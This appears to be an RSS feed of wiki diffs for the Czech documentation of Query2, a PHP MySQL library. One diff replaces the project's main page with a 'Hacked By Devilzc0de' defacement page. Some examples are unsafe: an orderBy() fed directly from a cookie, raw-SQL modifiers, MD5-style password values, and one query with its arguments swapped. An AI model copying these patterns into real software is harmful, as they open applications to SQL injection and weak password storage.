Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}


!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}</ins>

<del>Devilzc0de The Blackhat Condor&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;    &lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Devilzc0de Crew
: chaer.newbie , xtr0nic ,mywisdom , petimati , wenkhairu ,
n4ck0 , elnino , flyff666 ,cumi_cubul&lt;br&gt;Indonesia Black-Hat hackerz ,
Devilzc0der &lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;</del><ins>$q-&gt;setLogCallback(&quot;logger&quot;);</ins>

<ins>$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}</ins>

<del>&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;[&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot;&gt;
Copyright Devilzc0de.org &lt;/font&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot;&gt;©:&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot;&gt; 2 0 1 0</del><ins>!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.</ins>

<del>&lt;/font&gt;&lt;/font&gt;&lt;span style=&quot;font-family: Fixedsys;&quot;&gt;
&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; &lt;/font&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;]&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt; &lt;font color=&quot;#f5f5f5&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;</del><ins>!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.</ins>

<del>&lt;center&gt;&lt;embed src=&quot;http://img227.imageshack.us/img227/3087/playergv1.swf?soundFile=http://www44.indowebster.com/8b1df64cb1448cc29f0dfa2893340994.mp3&amp;amp;bg=0x000000&amp;amp;leftbg=0x000000&amp;amp;lefticon=0xFFFFFF&amp;amp;rightbg=0x333333&amp;amp;rightbghover=0x333333&amp;amp;righticon=0xCCCCCC&amp;amp;righticonhover=0xFFFFFF&amp;amp;text=0xcccccc&amp;amp;slider=0x666666&amp;amp;track=0xFFFFFF&amp;amp;border=0xFFFFFF&amp;amp;loader=0xcccccc&amp;amp;autostart=yes&amp;amp;loop=yes&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; width=&quot;290&quot; height=&quot;24&quot;&gt;&lt;/object&gt;&lt;/p&gt;	&lt;/center&gt;</del><ins>!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.</ins>

<del>&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;/span&quot;&gt;&lt;/div&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;{/html}</del><ins>!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</ins>
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Fri, 30 Apr 2010 22:55:39 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff"><del>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</del><ins>{html}&lt;html&gt;&lt;head&gt;</ins>

<del>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 17KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 15krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</del>


<del>!Download</del>

<del>Aktuální stabilní verze je 1.0.4, k dispozici ke stáhnutí [zde|./download/Query2-1.0.4.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</del><ins>&lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;en-us&quot;&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1252&quot;&gt;
&lt;title&gt;[ Hacked By IzraiL @ Devilzc0de ] &lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;</ins>

<del>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].</del><ins>BODY {
    SCROLLBAR-FACE-COLOR: #000000;
    SCROLLBAR-HIGHLIGHT-COLOR: #000000;
    SCROLLBAR-SHADOW-COLOR: #000000;
    SCROLLBAR-3DLIGHT-COLOR: #000000;
    SCROLLBAR-ARROW-COLOR: #FFFFFF;
    SCROLLBAR-TRACK-COLOR: #000000;
    SCROLLBAR-DARKSHADOW-COLOR: #000000
}
}
BODY {
CURSOR: crosshair
}
&lt;/style&gt;
&lt;/head&gt;&lt;body style=&quot;font-family: fixedsys; text-align: center;&quot; bgcolor=&quot;#000000&quot;&gt;&lt;span style=&quot;height: 30px;&quot;&gt;</ins>

<del>!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.</del>

<ins>&lt;div dir=&quot;ltr&quot; align=&quot;center&quot;&gt;&lt;span&quot;&gt;
            &lt;p align=&quot;center&quot;&gt;
            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#536172&quot; face=&quot;Impact&quot;&gt;| &lt;/font&gt;</ins>

<ins>            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#ffffff&quot; face=&quot;Impact&quot;&gt; Hacked By IzraiL @ Devilzc0de.org &lt;/font&gt;
            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#536172&quot; face=&quot;Impact&quot;&gt;|&lt;/font&gt;&lt;/p&gt;
            &lt;p&gt; &lt;font size=&quot;2&quot;&gt;
            &lt;img src=&quot;maf.jpg&quot; alt=&quot;[. Hacked .]&quot; border=&quot;0&quot;&gt;&lt;/font&gt;&lt;/p&gt;
    &lt;span style=&quot;&quot;&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Hy admin Patch ur Site...&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;</ins>

<ins>&lt;font face=&quot;Fixedsys&quot;&gt;&lt;/font&gt;</ins>

<ins>    &lt;/span&gt;&lt;font face=&quot;Fixedsys&quot;&gt;
&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; &lt;/font&gt;&lt;font size=&quot;2&quot;&gt;
&lt;font color=&quot;#536172&quot;&gt;&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#536172&quot;&gt;
[&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#cc0000&quot;&gt;
http://devilzc0de.org&lt;font color=&quot;#536172&quot;&gt;
]&lt;/font&gt;&lt;pre&gt;________              .__.__                _______       .___      
\______ \   _______  _|__|  | ________ ____ \   _  \    __| _/____  
|    |  \_/ __ \  \/ /  |  | \___   // ___\/  /_\  \  / __ |/ __ \
|    `   \  ___/\   /|  |  |__/    /\  \___\  \_/   \/ /_/ \  ___/
/_______  /\___  &amp;gt;\_/ |__|____/_____ \\___  &amp;gt;\_____  /\____ |\___  &amp;gt;
        \/     \/                   \/    \/       \/      \/    \/</ins>

<ins>&lt;/pre&gt;
&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;
[&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;
&lt;/font&gt;&lt;b&gt;&lt;span lang=&quot;ar-sa&quot;&gt;
&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;Security 0%&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;
]&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;
&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;//&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; Droped html Size&lt;/font&gt;</ins>

<del>!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Jde to ale i jinak
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

